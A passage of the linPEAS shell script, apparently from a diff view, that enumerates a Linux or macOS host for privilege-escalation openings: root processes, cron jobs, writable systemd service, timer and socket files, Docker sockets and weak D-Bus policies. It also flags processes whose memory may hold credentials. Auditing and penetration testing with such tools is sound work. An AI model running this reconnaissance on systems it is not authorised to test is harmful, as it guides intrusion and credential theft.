print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items"
ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null
echo ""
print_2title "Login Items"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items"
osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null
echo ""
print_2title "SPStartupItemDataType"
system_profiler SPStartupItemDataType
echo ""
print_2title "Emond scripts"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond"
ls -l /private/var/db/emondClients
echo ""
fi
#-- PCS) Services
if [ "$EXTRA_CHECKS" ]; then
print_2title "Services"
print_info "Search for outdated versions"
(service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl"
echo ""
fi
#-- PSC) systemd PATH
print_2title "Systemd PATH"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#systemd-path-relative-paths"
systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g"
WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders")
echo ""
#-- PSC) .service files
#TODO: .service files in MACOS are folders
print_2title "Analyzing .service files"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#services"
printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do
if [ ! -O "$s" ]; then #Remove services that belongs to the current user
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then
echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g"
fi
servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths
printf "%s\n" "$servicebinpaths" | while read sp; do
if [ -w "$sp" ]; then
echo "$s is calling this writable executable: $sp" | sed "s,writable.*,${SED_RED_YELLOW},g"
fi
done
relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$s" 2>/dev/null | grep -Iv "=/")
relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null | grep -Ev "/[a-zA-Z0-9_]+/")
if [ "$relpath1" ] || [ "$relpath2" ]; then
if [ "$WRITABLESYSTEMDPATH" ]; then
echo "$s is executing some relative path" | sed -${E} "s,.*,${SED_RED},";
else
echo "$s is executing some relative path"
fi
fi
fi
done
if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi
echo ""
#-- PSC) Timers
print_2title "System timers"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers"
(systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found
echo ""
#-- PSC) .timer files
print_2title "Analyzing .timer files"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers"
printf "%s\n" "$PSTORAGE_TIMER" | while read t; do
if ! [ "$IAMROOT" ] && [ -w "$t" ]; then
echo "$t" | sed -${E} "s,.*,${SED_RED},g"
fi
timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2)
printf "%s\n" "$timerbinpaths" | while read tb; do
if [ -w "$tb" ]; then
echo "$t timer is calling this writable executable: $tb" | sed "s,writable.*,${SED_RED},g"
fi
done
#relpath="`grep -Po '^Unit=[^/].*' \"$t\" 2>/dev/null`"
#for rp in "$relpath"; do
# echo "$t is calling a relative path: $rp" | sed "s,relative.*,${SED_RED},g"
#done
done
echo ""
#-- PSC) .socket files
#TODO: .socket files in MACOS are folders
if ! [ "$IAMROOT" ]; then
print_2title "Analyzing .socket files"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sockets"
printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then
echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g"
fi
socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
printf "%s\n" "$socketsbinpaths" | while read sb; do
if [ -w "$sb" ]; then
echo "$s is calling this writable executable: $sb" | sed "s,writable.*,${SED_RED},g"
fi
done
socketslistpaths=$(grep -Eo '^(Listen).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
printf "%s\n" "$socketslistpaths" | while read sl; do
if [ -w "$sl" ]; then
echo "$s is calling this writable listener: $sl" | sed "s,writable.*,${SED_RED},g";
fi
done
done
if ! [ "$IAMROOT" ] && [ -w "/var/run/docker.sock" ]; then
echo "Docker socket /var/run/docker.sock is writable (https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket)" | sed "s,/var/run/docker.sock is writable,${SED_RED_YELLOW},g"
fi
if ! [ "$IAMROOT" ] && [ -w "/run/docker.sock" ]; then
echo "Docker socket /run/docker.sock is writable (https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket)" | sed "s,/var/run/docker.sock is writable,${SED_RED_YELLOW},g"
fi
echo ""
print_2title "Unix Sockets Listening"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sockets"
# Search sockets using netstat and ss
unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1)
if ! [ "$unix_scks_list" ];then
unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+")
fi
if ! [ "$unix_scks_list" ];then
unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2)
fi
# But also search socket files
unix_scks_list2=$(find / -type s 2>/dev/null)
# Detele repeated dockets and check permissions
(printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2") | sort | uniq | while read l; do
perms=""
if [ -r "$l" ]; then
perms="Read "
fi
if [ -w "$l" ];then
perms="${perms}Write"
fi
if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g";
else
echo "$l" | sed -${E} "s,$l,${SED_RED},g"
echo " └─(${RED}${perms}${NC})"
# Try to contact the socket
socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null)
if [ $? -eq 0 ]; then
owner=$(ls -l "$s" | cut -d ' ' -f 3)
echo "Socket $s owned by $owner uses HTTP. Response to /index: (limt 30)" | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
echo "$socketcurl" | head -n 30
fi
fi
done
echo ""
fi
#-- PSC) Writable and weak policies in D-Bus config files
print_2title "D-Bus config files"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#d-bus"
if [ "$PSTORAGE_DBUS" ]; then
printf "%s\n" "$PSTORAGE_DBUS" | while read d; do
for f in $d/*; do
if ! [ "$IAMROOT" ] && [ -w "$f" ]; then
echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g"
fi
genpol=$(grep "<policy>" "$f" 2>/dev/null)
if [ "$genpol" ]; then printf "Weak general policy found on $f ($genpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
#if [ "`grep \"<policy user=\\\"$USER\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak user policy found on $f () \n" | sed "s,$USER,${SED_RED},g"; fi
userpol=$(grep "<policy user=" "$f" 2>/dev/null | grep -v "root")
if [ "$userpol" ]; then printf "Possible weak user policy found on $f ($userpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
#for g in `groups`; do
# if [ "`grep \"<policy group=\\\"$g\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak group ($g) policy found on $f\n" | sed "s,$g,${SED_RED},g"; fi
#done
grppol=$(grep "<policy group=" "$f" 2>/dev/null | grep -v "root")
if [ "$grppol" ]; then printf "Possible weak user policy found on $f ($grppol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
#TODO: identify allows in context="default"
done
done
fi
echo ""
print_2title "D-Bus Service Objects list"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#d-bus"
dbuslist=$(busctl list 2>/dev/null)
if [ "$dbuslist" ]; then
busctl list | while read line; do
echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},";
if ! echo "$line" | grep -qE "$dbuslistG"; then
srvc_object=$(echo $line | cut -d " " -f1)
srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ')
if [ "$srvc_object_info" ]; then
echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED},"
fi
fi
done
else echo_not_found "busctl"
fi

View File

@@ -0,0 +1,380 @@
####################################################
#-----) Processes & Cron & Services & Timers (-----#
####################################################
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PCS) Cleaned proccesses
print_2title "Cleaned processes"
if [ "$NOUSEPS" ]; then
printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
fi
print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
if [ -f "/etc/fstab" ] && cat /etc/fstab | grep -q "hidepid=2"; then
echo "Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users"
fi
if [ "$NOUSEPS" ]; then
print_ps | grep -v 'sed-Es' | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
pslist=$(print_ps)
else
(ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do
echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then
cpid=$(echo "$psline" | awk '{print $2}')
caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')"
if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then
printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g"
fi
fi
done
pslist=$(ps auxwww)
echo ""
#-- PCS) Binary processes permissions
print_2title "Binary processes permissions (non 'root root' and not belonging to current user)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
binW="IniTialiZZinnggg"
ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do
if [ -w "$bpath" ]; then
binW="$binW|$bpath"
fi
done
ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN},"
fi
echo ""
fi
CURRENT_USER_PIVOT_PID=""
if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$NOUSEPS" ]; then
#-- PCS) Process opened by other users
print_2title "Processes whose PPID belongs to a different user (not root)"
print_info "You will know if a user can somehow spawn processes as a different user"
# Function to get user by PID
get_user_by_pid() {
ps -p "$1" -o user | grep -v "USER"
}
# Find processes with PPID and user info, then filter those where PPID's user is different from the process's user
ps -eo pid,ppid,user | grep -v "PPID" | while read -r pid ppid user; do
if [ "$ppid" = "0" ]; then
continue
fi
ppid_user=$(get_user_by_pid "$ppid")
if echo "$user" | grep -Eqv "$ppid_user|root$"; then
echo "Proc $pid with ppid $ppid is run by user $user but the ppid user is $ppid_user" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
if [ "$ppid_user" = "$USER" ]; then
CURRENT_USER_PIVOT_PID="$ppid"
fi
fi
done
echo ""
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PCS) Files opened by processes belonging to other users
if ! [ "$IAMROOT" ]; then
print_2title "Files opened by processes belonging to other users"
print_info "This is usually empty because of the lack of privileges to read other user processes information"
lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
echo ""
fi
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PCS) Processes with credentials inside memory
print_2title "Processes with credentials in memory (root req)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory"
if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi
if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi
if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi
if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi
if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi
if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi
echo ""
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PCS) Different processes 1 min
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then
print_2title "Different processes executed during 1 min (interesting is low number of repetitions)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs"
temp_file=$(mktemp)
if [ "$(ps -e -o user,command 2>/dev/null)" ]; then
for i in $(seq 1 1210); do
ps -e -o user,command >> "$temp_file" 2>/dev/null; sleep 0.05;
done;
sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},";
rm "$temp_file";
fi
echo ""
fi
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PCS) Cron
print_2title "Cron jobs"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
command -v crontab 2>/dev/null || echo_not_found "crontab"
crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
command -v incrontab 2>/dev/null || echo_not_found "incrontab"
incrontab -l 2>/dev/null
ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths
atq 2>/dev/null
else
print_2title "Cron jobs"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
find "$SEARCH_IN_FOLDER" '(' -type d -or -type f ')' '(' -name "cron*" -or -name "anacron" -or -name "anacrontab" -or -name "incron.d" -or -name "incron" -or -name "at" -or -name "periodic" ')' -exec echo {} \; -exec ls -lR {} \;
fi
echo ""
if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$MACPEAS" ]; then
print_2title "Third party LaunchAgents & LaunchDemons"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd"
ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null
echo ""
print_2title "Writable System LaunchAgents & LaunchDemons"
find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do
program=""
program=$(defaults read "$f" Program 2>/dev/null)
if ! [ "$program" ]; then
program=$(defaults read "$f" ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2)
fi
if [ -w "$program" ]; then
echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},";
fi
done
echo ""
print_2title "StartupItems"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items"
ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null
echo ""
print_2title "Login Items"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items"
osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null
echo ""
print_2title "SPStartupItemDataType"
system_profiler SPStartupItemDataType
echo ""
print_2title "Emond scripts"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond"
ls -l /private/var/db/emondClients
echo ""
fi
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PCS) Services
if [ "$EXTRA_CHECKS" ]; then
print_2title "Services"
print_info "Search for outdated versions"
(service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl"
echo ""
fi
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PSC) systemd PATH
print_2title "Systemd PATH"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths"
systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g"
WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders")
echo ""
fi
#-- PSC) .service files
#TODO: .service files in MACOS are folders
print_2title "Analyzing .service files"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services"
printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do
if [ ! -O "$s" ] || [ "$SEARCH_IN_FOLDER" ]; then #Remove services that belongs to the current user or if firmware see everything
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g"
fi
servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths
printf "%s\n" "$servicebinpaths" | while read sp; do
if [ -w "$sp" ]; then
echo "$s is calling this writable executable: $sp" | sed "s,writable.*,${SED_RED_YELLOW},g"
fi
done
relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$s" 2>/dev/null | grep -Iv "=/")
relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null)
if [ "$relpath1" ] || [ "$relpath2" ]; then
if [ "$WRITABLESYSTEMDPATH" ]; then
echo "$s could be executing some relative path" | sed -${E} "s,.*,${SED_RED},";
else
echo "$s could be executing some relative path"
fi
fi
fi
done
if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi
echo ""
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PSC) Timers
print_2title "System timers"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
(systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found
echo ""
fi
#-- PSC) .timer files
print_2title "Analyzing .timer files"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
printf "%s\n" "$PSTORAGE_TIMER" | while read t; do
if ! [ "$IAMROOT" ] && [ -w "$t" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
echo "$t" | sed -${E} "s,.*,${SED_RED},g"
fi
timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2)
printf "%s\n" "$timerbinpaths" | while read tb; do
if [ -w "$tb" ]; then
echo "$t timer is calling this writable executable: $tb" | sed "s,writable.*,${SED_RED},g"
fi
done
#relpath="`grep -Po '^Unit=[^/].*' \"$t\" 2>/dev/null`"
#for rp in "$relpath"; do
# echo "$t is calling a relative path: $rp" | sed "s,relative.*,${SED_RED},g"
#done
done
echo ""
#-- PSC) .socket files
#TODO: .socket files in MACOS are folders
if ! [ "$IAMROOT" ]; then
print_2title "Analyzing .socket files"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g"
fi
socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
printf "%s\n" "$socketsbinpaths" | while read sb; do
if [ -w "$sb" ]; then
echo "$s is calling this writable executable: $sb" | sed "s,writable.*,${SED_RED},g"
fi
done
socketslistpaths=$(grep -Eo '^(Listen).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
printf "%s\n" "$socketslistpaths" | while read sl; do
if [ -w "$sl" ]; then
echo "$s is calling this writable listener: $sl" | sed "s,writable.*,${SED_RED},g";
fi
done
done
echo ""
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Unix Sockets Listening"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
# Search sockets using netstat and ss
unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1)
if ! [ "$unix_scks_list" ];then
unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+")
fi
if ! [ "$unix_scks_list" ];then
unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2)
fi
unix_scks_list3=$(lsof -U 2>/dev/null | awk '{print $9}' | grep "/")
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
# But also search socket files
unix_scks_list2=$(find / -type s 2>/dev/null)
else
unix_scks_list2=$(find "SEARCH_IN_FOLDER" -type s 2>/dev/null)
fi
# Detele repeated dockets and check permissions
(printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2" && printf "%s\n" "$unix_scks_list3") | sort | uniq | while read l; do
perms=""
if [ -r "$l" ]; then
perms="Read "
fi
if [ -w "$l" ];then
perms="${perms}Write"
fi
if [ "$EXTRA_CHECKS" ] && [ "$(command -v curl)" ]; then
CANNOT_CONNECT_TO_SOCKET="$(curl -v --unix-socket "$l" --max-time 1 http:/linpeas 2>&1 | grep -i 'Permission denied')"
if ! [ "$CANNOT_CONNECT_TO_SOCKET" ]; then
perms="${perms} - Can Connect"
else
perms="${perms} - Cannot Connect"
fi
fi
if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g";
else
echo "$l" | sed -${E} "s,$l,${SED_RED},g"
echo " └─(${RED}${perms}${NC})" | sed -${E} "s,Cannot Connect,${SED_GREEN},g"
# Try to contact the socket
socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null)
if [ $? -eq 0 ]; then
owner=$(ls -l "$s" | cut -d ' ' -f 3)
echo "Socket $s owned by $owner uses HTTP. Response to /index: (limt 30)" | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
echo "$socketcurl" | head -n 30
fi
fi
done
echo ""
fi
#-- PSC) Writable and weak policies in D-Bus config files
print_2title "D-Bus config files"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
if [ "$PSTORAGE_DBUS" ]; then
printf "%s\n" "$PSTORAGE_DBUS" | while read d; do
for f in $d/*; do
if ! [ "$IAMROOT" ] && [ -w "$f" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g"
fi
genpol=$(grep "<policy>" "$f" 2>/dev/null)
if [ "$genpol" ]; then printf "Weak general policy found on $f ($genpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
#if [ "`grep \"<policy user=\\\"$USER\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak user policy found on $f () \n" | sed "s,$USER,${SED_RED},g"; fi
userpol=$(grep "<policy user=" "$f" 2>/dev/null | grep -v "root")
if [ "$userpol" ]; then printf "Possible weak user policy found on $f ($userpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
#for g in `groups`; do
